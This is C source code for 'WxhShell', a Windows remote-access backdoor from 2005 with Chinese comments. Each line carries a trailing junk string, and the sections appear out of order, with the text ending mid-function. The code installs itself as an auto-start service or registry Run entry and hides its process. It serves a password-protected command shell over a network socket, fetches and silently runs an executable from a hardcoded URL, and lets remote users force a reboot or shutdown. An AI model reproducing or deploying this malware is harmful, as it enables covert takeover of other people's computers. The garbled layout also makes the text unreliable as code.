    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D6iHkDTg  
    if(Boot(SHUTDOWN)) ti:qOSIDTA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7$(>Z^ Em  
    else { :X>%6Xj?RV  
    closesocket(wsh); Zho d%n3  
    ExitThread(0); mPNT*pAO  
    } p @@TOS  
    break; G: FP9  
    } t[B\'f!  
  // 获取shell 5oQy $Y  
  case 's': { Y{X79Rd  
    CmdShell(wsh); $_-f}E  
    closesocket(wsh); G9s: Wp  
    ExitThread(0); *rO#UE2  
    break; UV%A l)3  
  } ^CUeq"GYoZ  
  // 退出 N|c;Qzl  
  case 'x': { O:fv1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4@PH5z  
    CloseIt(wsh); ,?GEL>F  
    break;  {g?$u  
    } _B` '1tNx  
  // 离开   5;+OpB  
  case 'q': { B\a-Q,Wf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4,m aA  
    closesocket(wsh); <4z |"(  
    WSACleanup(); B$aA=+<S  
    exit(1); :E/]Bjq$;  
    break; ^[}^+  
        } YEoQIR  
  } o5gt`H"  
  } -W(O~AK  
)s6pOxWx  
  // 提示信息 c>~"Z-VtX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WjxO M\?#  
} "?|sC{'C4j  
  } +0mU)4n/  
 4I7}  
  return; >Ha tb bA  
} &MnS( 82L  
>3V{I'^^-  
// shell模块句柄 $:V'+s4o  
int CmdShell(SOCKET sock) ^)Xl7d|m+  
{ G(F }o]  
STARTUPINFO si; * 8n0  
ZeroMemory(&si,sizeof(si)); 53d8AJ_@X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jrd:6Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y^:!]-+  
PROCESS_INFORMATION ProcessInfo; WpE\N0Yg  
char cmdline[]="cmd"; (J8 (_MF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Tj}H3/2  
  return 0; J[rpMQ  
} <zE,T@c  
>K$9 (  
// 自身启动模式 + ^n [B  
int StartFromService(void) ~=~|@K  
{ Sw<@u+Z;%  
typedef struct ftB-gItV  
{ gT$`a  
  DWORD ExitStatus; mGZ^K,)&OR  
  DWORD PebBaseAddress; ZI4[v>  
  DWORD AffinityMask; :@zz5MB5@  
  DWORD BasePriority; 7Z0fMk  
  ULONG UniqueProcessId; mt$0p|B8  
  ULONG InheritedFromUniqueProcessId; 5y;texsj[  
}   PROCESS_BASIC_INFORMATION; -@{5 u d  
!E<y:$eH:  
PROCNTQSIP NtQueryInformationProcess; e;9Z/);#s  
A L|F Bd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?4Z`^uy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J ylav:  
T)J=lw  
  HANDLE             hProcess; !L4Vz7 C  
  PROCESS_BASIC_INFORMATION pbi; [F4] pR(  
fQcJyX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CAdqoCz|  
  if(NULL == hInst ) return 0; %"|I` m  
s Wk92x _l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b6sj/V8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7M*&^P\}es  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "w.gP8`  
hw/ :  
  if (!NtQueryInformationProcess) return 0; ]cvP !  
 }t}y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  nen(  
  if(!hProcess) return 0; +6tj w 6  
^6R?UG;6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?-w<H!Y7  
4lMf'V7*l  
  CloseHandle(hProcess); K TJm[44  
U^iNOMs?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K*^3FO}JG  
if(hProcess==NULL) return 0; CN4Q++{  
JgQ,,p_V?  
HMODULE hMod; 4X tIMa28  
char procName[255]; EaaLN<i@0  
unsigned long cbNeeded; : p# 5nYi  
'jAX&7G`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qKu/~0a/  
JB.f7-  
  CloseHandle(hProcess); &`+tWL6L  
gXZl3  
if(strstr(procName,"services")) return 1; // 以服务启动 hKo& ZWPq  
pRyePxCDj)  
  return 0; // 注册表启动 $m{-I=  
} r'!L}^n  
h= tzG KI  
// 主模块 Z4 y9d?g%b  
int StartWxhshell(LPSTR lpCmdLine) D@@J7  
{ '/l<\b/E  
  SOCKET wsl; zf+jQ  
BOOL val=TRUE; 4#?Sxs  
  int port=0; MYyV{W*T>  
  struct sockaddr_in door; \\w<.\Yh  
X@;; h  
  if(wscfg.ws_autoins) Install(); oPP`)b$x  
G`1!SEae  
port=atoi(lpCmdLine); 66ULR&D8  
PM ]|S`  
if(port<=0) port=wscfg.ws_port; )Iu0MN&  
 !4Q0   
  WSADATA data; EjxzX1:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JmlMfMpXMs  
t!^ j0q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "u29| OY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pjG/`  
  door.sin_family = AF_INET; 'Lm\ r+$F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W}^X;f  
  door.sin_port = htons(port); zsM3 [2E*  
D@.+B`bA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;W"=s79  
closesocket(wsl); T$ w`=7  
return 1; ))M!"*  
} \N3A2L)l  
\PU7,*2  
  if(listen(wsl,2) == INVALID_SOCKET) { E~]37!,\\9  
closesocket(wsl); k5M3g*  
return 1; :c03"jvYE  
} (r Tn6[ *  
  Wxhshell(wsl); mf4C68DI@u  
  WSACleanup(); N{kp^Byim0  
jimWLF5Q5"  
return 0; &Ul8h,qw  
Rda~Drz  
} y}5:CZ  
ULT,>S6r  
// 以NT服务方式启动 t[=-4;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y6#AL<W@=  
{ 2g0_[$[m  
DWORD   status = 0; xlKg0 &D  
  DWORD   specificError = 0xfffffff; mCb1^Y  
PCqE9B)l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J_-K"T|f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {KQ]"a 6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 85e!)I_  
  serviceStatus.dwWin32ExitCode     = 0; {pJf ~  
  serviceStatus.dwServiceSpecificExitCode = 0; |f+`FOliP  
  serviceStatus.dwCheckPoint       = 0; /+ yIcE(&3  
  serviceStatus.dwWaitHint       = 0; 58]C``u@Y  
*3R3C+ L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OV>JmYe1{/  
  if (hServiceStatusHandle==0) return; ;*+wg5|  
5EX Ghc'  
status = GetLastError(); 4CH/~b1 (  
  if (status!=NO_ERROR) d U}kimz  
{ I9VU,8~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7cMHzh k^  
    serviceStatus.dwCheckPoint       = 0; m7 $t$/g  
    serviceStatus.dwWaitHint       = 0; Gf<f#.5y ,  
    serviceStatus.dwWin32ExitCode     = status; ==!k99`f,  
    serviceStatus.dwServiceSpecificExitCode = specificError; h85 kQ^%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ov$S   
    return; wk9qyv<  
  } ]K0G!TR<  
BmhIKXE{*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _48@o^{  
  serviceStatus.dwCheckPoint       = 0; YP4lizs.  
  serviceStatus.dwWaitHint       = 0; hBRcI0R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fk5$z0/  
} ~~iFs ,9  
pu OAt  
// 处理NT服务事件,比如:启动、停止 a[ Y\5Ojm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hI6Tp>b*~  
{ Z%4w{T+[  
switch(fdwControl) BJ*8mKi h  
{ 1`q>*S](  
case SERVICE_CONTROL_STOP: +3d.JQoKl  
  serviceStatus.dwWin32ExitCode = 0; SoJ=[5W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (8Inf_59  
  serviceStatus.dwCheckPoint   = 0; &@U)  
  serviceStatus.dwWaitHint     = 0; k1_" }B5  
  { N+nv#]{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VRQD  
  } hVGK%HCz&  
  return; c,L{Qv"n{  
case SERVICE_CONTROL_PAUSE: Ljs4^vy <J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v!WkPvU  
  break; =6O<1<[y  
case SERVICE_CONTROL_CONTINUE: opIbs7k-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Fi8#r)G.  
  break; T*1`MIkv  
case SERVICE_CONTROL_INTERROGATE: (k$KUP  
  break; o,yZ1"  
}; ]!'}{[1}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0\KDa$ '1k  
} v/G)E_  
"lnI@t{o  
// 标准应用程序主函数 W6&mXJ^3L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w:3CWF4q]  
{ @.8FVF  
*-,jIaL;  
// 获取操作系统版本 'z$!9ufY,  
OsIsNt=GetOsVer(); S4C4_*~Vd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q&`if O  
p%#=OtkC  
  // 从命令行安装 =@*P})w5.  
  if(strpbrk(lpCmdLine,"iI")) Install(); DP6>fzsl  
OhiY <  
  // 下载执行文件 /I~(*X  
if(wscfg.ws_downexe) { )u>/:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "NvB@>S  
  WinExec(wscfg.ws_filenam,SW_HIDE); I~T~!^}U  
} |_u|Td(n  
m ?#WQf  
if(!OsIsNt) { Jq8:33s   
// 如果时win9x,隐藏进程并且设置为注册表启动 <7*d2  
HideProc(); W{X5~w(  
StartWxhshell(lpCmdLine); cL+bMM$4r~  
} C+vk9:"  
else Xmv^O  
  if(StartFromService()) "}^}3"/.  
  // 以服务方式启动 Z_ (P^/  
  StartServiceCtrlDispatcher(DispatchTable); p"|0PlW  
else ?F^O7\rw  
  // 普通方式启动 $0,lE+7*  
  StartWxhshell(lpCmdLine); ~vV+)KI  
/7&WFCc)(  
return 0; {1L{   
} u,`cmyZ  
>p>B-m  
=v6qr~  
JLh{>_Rr  
=========================================== Ocf:73t  
%ou@Y`  
<G /a-Z  
cIQ e^C  
Rc#c^F<  
?XnKKw\  
" #<81`%  
LPS]TG\  
#include <stdio.h> f"aqg/l  
#include <string.h> Jl@YBzDfF  
#include <windows.h> 8fC 5O  
#include <winsock2.h> D[Kq`  
#include <winsvc.h> 0}wmBSl  
#include <urlmon.h> 4|/=]w  
qK,PuD7i"  
#pragma comment (lib, "Ws2_32.lib") !CUX13/0  
#pragma comment (lib, "urlmon.lib") h"4i/L3aAh  
ij&T \):d  
#define MAX_USER   100 // 最大客户端连接数 2yPF'Q7u_.  
#define BUF_SOCK   200 // sock buffer @2/ xu  
#define KEY_BUFF   255 // 输入 buffer 6\NBU,lY  
y1t,i. [  
#define REBOOT     0   // 重启 bq"dKN`  
#define SHUTDOWN   1   // 关机 >slGicZ0  
5uO.@0  
#define DEF_PORT   5000 // 监听端口 ]}d.h!`<)  
iu'At7  
#define REG_LEN     16   // 注册表键长度 >"<<hjKJ  
#define SVC_LEN     80   // NT服务名长度 8?G534*r@2  
7"p%c`*;  
// 从dll定义API <>R\lPI2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uU!}/mbo  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }]+k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NflRNu:-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9PWqoz2c  
2SJ|$VsLaE  
// wxhshell配置信息 `FRdo  
struct WSCFG { arb'.:[z^  
  int ws_port;         // 监听端口 !b?`TUt   
  char ws_passstr[REG_LEN]; // 口令 6rh^?B  
  int ws_autoins;       // 安装标记, 1=yes 0=no H57wzG{xG  
  char ws_regname[REG_LEN]; // 注册表键名 `8b4P>';O'  
  char ws_svcname[REG_LEN]; // 服务名 Ct9dV7SH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 18AlQ+')?w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,`U'q|b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s/0~!0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 63T4''bwu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3u&)6C?YM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UsnIx54D3  
[=& tN)_  
}; 4C`p`AQqpQ  
UU  DZ  
// default Wxhshell configuration x?n13C  
struct WSCFG wscfg={DEF_PORT, KpfQ=~'  
    "xuhuanlingzhe", "q3W& @  
    1, 3GM9ZPeN:  
    "Wxhshell", #s0Wx47~  
    "Wxhshell", cOb ,Md  
            "WxhShell Service", 6'ia^om  
    "Wrsky Windows CmdShell Service", Ae^ Idz  
    "Please Input Your Password: ", F~zrg+VDjL  
  1, f#| wb~  
  "http://www.wrsky.com/wxhshell.exe", %Z { 7*jtE  
  "Wxhshell.exe" z99jW<*0  
    }; I@l }%L  
\ 3FOI  
// 消息定义模块 M1_1(LSU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P>qDQ1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6+W`:0je  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c|(&6(r  
char *msg_ws_ext="\n\rExit."; {7d\du&G  
char *msg_ws_end="\n\rQuit."; V[avV*;3i  
char *msg_ws_boot="\n\rReboot..."; +uB.)wr  
char *msg_ws_poff="\n\rShutdown..."; VD+y4t'^  
char *msg_ws_down="\n\rSave to "; z0xw0M+X  
C0[ Z>$  
char *msg_ws_err="\n\rErr!"; 0%;y'd**Ck  
char *msg_ws_ok="\n\rOK!"; *L=F2wW  
BiD}C  
char ExeFile[MAX_PATH]; H\<^p",`  
int nUser = 0; *IV_evgM7  
HANDLE handles[MAX_USER]; 6w*q~{"(  
int OsIsNt; n--w-1  
zz1]6B*eX  
SERVICE_STATUS       serviceStatus; 1D2Yued  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,&0iFUwN_  
eWU@ @$9  
// 函数声明 7cly{U"  
int Install(void); _aK4[*jnqh  
int Uninstall(void); V J]S"  
int DownloadFile(char *sURL, SOCKET wsh); y({EF~w  
int Boot(int flag); 7(]M`bBH  
void HideProc(void); H@V+Q}  
int GetOsVer(void); oh.8WlI  
int Wxhshell(SOCKET wsl); #6F/:j;  
void TalkWithClient(void *cs); :y3e-lr  
int CmdShell(SOCKET sock); o 76QQ+hP  
int StartFromService(void); OE5JA8/H  
int StartWxhshell(LPSTR lpCmdLine); 4NRG{FZ9  
F8>J(7On  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w0Y V87  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 31`Eq*Y)4  
uYAMW{AT  
// 数据结构和表定义 fSw6nEXn  
SERVICE_TABLE_ENTRY DispatchTable[] = BiCC72oig  
{ GOj<>h}r  
{wscfg.ws_svcname, NTServiceMain}, ?@5#p*u0  
{NULL, NULL} =SpD6 9-H  
}; aT20FEZ;  
z P=3B%$  
// 自我安装 ZmzYJ$:6  
int Install(void) 2t 1u{  
{ yvt :/X  
  char svExeFile[MAX_PATH]; `;v>fTcy  
  HKEY key; J6J|&Z~UT,  
  strcpy(svExeFile,ExeFile); 48"=,IrM  
{B)-+0 6  
// 如果是win9x系统,修改注册表设为自启动 ;/)u/[KAv  
if(!OsIsNt) { MT(G=r8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )sG/H8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y)0wM~E;2  
  RegCloseKey(key); MfK}DEJK,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {p)=#Jd`.P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2y@y<38  
  RegCloseKey(key); !1fAW! 8  
  return 0; }8)iFP&"  
    } sq1v._^s  
  } b,o@ m  
} JmJNq$2#c  
else { xI,7ld~  
#S*cFnd  
// 如果是NT以上系统,安装为系统服务 KdU&q+C^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &N\4/'wV  
if (schSCManager!=0) X}R Q&k  
{ 8w L%(p  
  SC_HANDLE schService = CreateService m5KAKpCR,  
  ( OYayTKxN  
  schSCManager, iK=SK3)vR  
  wscfg.ws_svcname, Ry4`Q$=:  
  wscfg.ws_svcdisp, P h/!a6y  
  SERVICE_ALL_ACCESS, ZGbY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >gGdzL  
  SERVICE_AUTO_START, L6IF0`M<,I  
  SERVICE_ERROR_NORMAL, eO?@K$I  
  svExeFile, k(%h{0'  
  NULL, w;8VD`>[|  
  NULL, M;zJ1  
  NULL, ~Lf>/w  
  NULL, 4Up \_  
  NULL d|RDx;r l8  
  ); 7@l.ZECJ1  
  if (schService!=0) -:NFF'  
  { R4q)FXW29  
  CloseServiceHandle(schService); rIo)'L$uU  
  CloseServiceHandle(schSCManager); {*Tnl-m~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -9@/S$i  
  strcat(svExeFile,wscfg.ws_svcname); Mr u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8>l#F<@5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jO+#$=C  
  RegCloseKey(key); 3 V{&o,6  
  return 0;  ~N=$%C  
    } t?6_^ 08  
  } a?5R ;I B  
  CloseServiceHandle(schSCManager); i.Jk(%c  
} `vj"HhC  
} z3 Ro*yJU  
<Q|(dFr`v  
return 1; 5Ff1x-lQ  
} v dR6y  
'>0rp\jC  
// 自我卸载 V1!;Hvm]+  
int Uninstall(void) c</u]TD  
{ 'X{J~fEI!  
  HKEY key; ;JAb8dyS2  
O0cKmh6=  
if(!OsIsNt) { t) h{ w"v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )Ept yH  
  RegDeleteValue(key,wscfg.ws_regname); cO^}A(Ma(  
  RegCloseKey(key); jo ^+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \V/;i.ng  
  RegDeleteValue(key,wscfg.ws_regname); />[X k  
  RegCloseKey(key); R#w9%+  
  return 0; Y~C;M6(P  
  } q>H f2R  
} [G>U>[u|  
} .L'eVLQe  
else { :3$-Qv X  
-/z#?J\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "[M k5tM  
if (schSCManager!=0) Y*q_>kps"  
{ [S#QGB19  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >UDb:N[  
  if (schService!=0) Wi3St`$  
  { +(qs{07A$  
  if(DeleteService(schService)!=0) { Y[WL}:"93  
  CloseServiceHandle(schService); UYW{A G2C  
  CloseServiceHandle(schSCManager); , s .{R  
  return 0; Weu%&u-  
  } %}x$YD O  
  CloseServiceHandle(schService); =V(|3?N  
  } AKkr )VgY  
  CloseServiceHandle(schSCManager); |ZBHXv  
} PShluhY  
} _8eN^oc%  
ZclZD{%8J  
return 1; 6y d/3k  
} XEvDtDR  
0CFON2I  
// 从指定url下载文件 vh">Z4  
int DownloadFile(char *sURL, SOCKET wsh) :L'U>)k  
{ Y,;$RV@g  
  HRESULT hr; #k*P/I~  
char seps[]= "/"; byB ESyV!O  
char *token; ZuIw4u(9  
char *file; R;2q=%  
char myURL[MAX_PATH];  01;  
char myFILE[MAX_PATH]; iD-,C`  
u iEAi  
strcpy(myURL,sURL); 6}xFE]Df-Y  
  token=strtok(myURL,seps); ^g eC?m  
  while(token!=NULL) }:f \!b  
  { ;S_\- ]m&g  
    file=token; NP_b~e6O=  
  token=strtok(NULL,seps); _b(y"+k  
  } LtIw{* 3  
%A ^qm  
GetCurrentDirectory(MAX_PATH,myFILE); ;\[ el<Y)s  
strcat(myFILE, "\\"); Ja(>!8H>@  
strcat(myFILE, file); [sF z ;Py]  
  send(wsh,myFILE,strlen(myFILE),0); oiL^$y/:;z  
send(wsh,"...",3,0); dX8N7{"[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]pi8%.d  
  if(hr==S_OK) ?.%'[n>P  
return 0; 4EtP|  
else K)!Nf.r$9  
return 1; %e,X7W`'2  
B[Gl}(E  
} knU=#  
;[}<xw3):  
// 系统电源模块 3+` <2TP  
int Boot(int flag) "spAYk\  
{ 8LZmr|/F*  
  HANDLE hToken; :6}y gL*i  
  TOKEN_PRIVILEGES tkp; Jfs$VGZP;  
Pm* N!:u  
  if(OsIsNt) { q;{# ~<"+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Kf!8PR$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7[}K 2.W.  
    tkp.PrivilegeCount = 1; se:lKZZ]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pf'-(W+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f3u^:6U~  
if(flag==REBOOT) { FBCi,_ \4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4?s ~S. %  
  return 0; d l<7jM?  
} X\dPQwasM  
else { `*`@ro  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MsL*\)*s  
  return 0; aOr'OeG(=e  
} $%ts#56*  
  } I8RPW:B;B  
  else { .2V`sg.!  
if(flag==REBOOT) { !qjIhZi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) as%ab[ fX  
  return 0; E"|LA[o  
} kUp[b~  
else { | ]DJz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |z`kFil%  
  return 0; <,S5(pZ  
} ~VqDh*0  
} wx,yx3c (  
t"]+}]O  
return 1; t|ih{0  
} #A RQB2V  
|*w}bT(PfR  
// win9x进程隐藏模块 `?H yDny  
void HideProc(void) uR:@7n  
{ @},25"x)  
p[zKc2TPk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?k*%r;e>  
  if ( hKernel != NULL ) =d{B.BP(  
  { 9 Z 5!3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $%3"@$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ? !dy  
    FreeLibrary(hKernel); DnZkZ;E/  
  } s$,gM,|cK  
!M&Qca2  
return; .P|_C.3- l  
} 5/ee&sJR  
o JLpFL  
// 获取操作系统版本 {vf"`#Q9  
int GetOsVer(void) N`JkEd7TT  
{ %%dQIlF  
  OSVERSIONINFO winfo; s?irT;=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?C[W~m P  
  GetVersionEx(&winfo); g{_wMf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]&dU%9S  
  return 1; ~rN:4Q]/  
  else &`RD5uml  
  return 0; Y$%z]i5   
} cen[|yCtOH  
XmK2Xi;=b  
// 客户端句柄模块 bAsoIra  
int Wxhshell(SOCKET wsl) 4zRz U  
{ %ZajM  
  SOCKET wsh; {-T}"WHg7  
  struct sockaddr_in client; c89+}]mGq  
  DWORD myID; ds*N1[ *  
R.FC3<TTv  
  while(nUser<MAX_USER) 4NY}=e5  
{ >+ P5Zm(_  
  int nSize=sizeof(client); jOYa}jm?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^Pq4 n%x  
  if(wsh==INVALID_SOCKET) return 1; f[AN=M"B"s  
-Dx_:k|k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !Rq.L  
if(handles[nUser]==0) [T(XwA)  
  closesocket(wsh); 7H+IW4Ma  
else ?51Y&gOEZ  
  nUser++; !6R;fD#^s  
  } "zn<\z$l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); * 7<{Xbsj^  
TspuZR@2  
  return 0; su/!<y  
} .}wVM`81z  
q, 8TOn  
// 关闭 socket 2+2Gl7" s  
void CloseIt(SOCKET wsh) bI_6';hq!  
{ DxFmsjX[L  
closesocket(wsh); S^Lu RF]F  
nUser--; rW8.bMmM  
ExitThread(0); *Va;ra(V2  
} =Ts3O0"[  
x e~lV  
// 客户端请求句柄 .9cQq/{b  
void TalkWithClient(void *cs) x?aNK$A~X  
{ n7J6YtUwP  
Mx3MNX /  
  SOCKET wsh=(SOCKET)cs; 7O=N78M  
  char pwd[SVC_LEN]; GV+K] KDI  
  char cmd[KEY_BUFF]; -|"[S"e  
char chr[1]; TQ/EH~Sz  
int i,j; m>H+noc^  
 ?)_?YLi  
  while (nUser < MAX_USER) { fbG+.'  
g[NmVY-o  
if(wscfg.ws_passstr) { 8zMt&5jD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]f3[I3;K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  $:7 T  
  //ZeroMemory(pwd,KEY_BUFF); i1(}E#  
      i=0; mM[!g'*  
  while(i<SVC_LEN) { BrHw02G  
_V jfH2Y  
  // 设置超时 )2tDX=D  
  fd_set FdRead; #K:!s<_"  
  struct timeval TimeOut; iOFp9i=j  
  FD_ZERO(&FdRead); AqdQiZ^9  
  FD_SET(wsh,&FdRead); K-a~Kr  
  TimeOut.tv_sec=8; <Z nVWER  
  TimeOut.tv_usec=0; R">-h;#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nOH x^(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !iys\ AV  
M/O Y "eL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uuD|%-Ng  
  pwd=chr[0]; DFk0"+Ky  
  if(chr[0]==0xd || chr[0]==0xa) { 7CK3t/3D  
  pwd=0; B$ Z%_j&  
  break; z154lY}K  
  } Q1b<=,  
  i++; .+@;gVZx1  
    } XtJIaD|:3  
FyF./  
  // 如果是非法用户,关闭 socket !a.|URa7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wjVmK  
} x %hV5KW  
Y-&SZI4H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u/I|<NAC,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XY_zF F  
nQtp4  
while(1) { ?g6xy[  
=ObI  
  ZeroMemory(cmd,KEY_BUFF); 3Uy48ue  
8p;|&7  
      // 自动支持客户端 telnet标准   iF_#cmSy$  
  j=0; U '$W$()p  
  while(j<KEY_BUFF) { HGwSsoS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O<RLw)nzg  
  cmd[j]=chr[0]; 7gk}f%,3P  
  if(chr[0]==0xa || chr[0]==0xd) { ;v*J:Mn/=  
  cmd[j]=0; $+P6R`K  
  break; 4kNiS^h  
  } MJzY|  
  j++; x$:P;#  
    } --> ~<o  
g5YDRL!Wh  
  // 下载文件 #80 [q3  
  if(strstr(cmd,"http://")) { -lb,0   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7xhBdi[ dQ  
  if(DownloadFile(cmd,wsh)) ,Vc>'4E-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I<``d Ne9Q  
  else 9tMaOm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^%qe&Pe2  
  } ^D%hKIT  
  else { tQ@%3`  
<73dXTZ0  
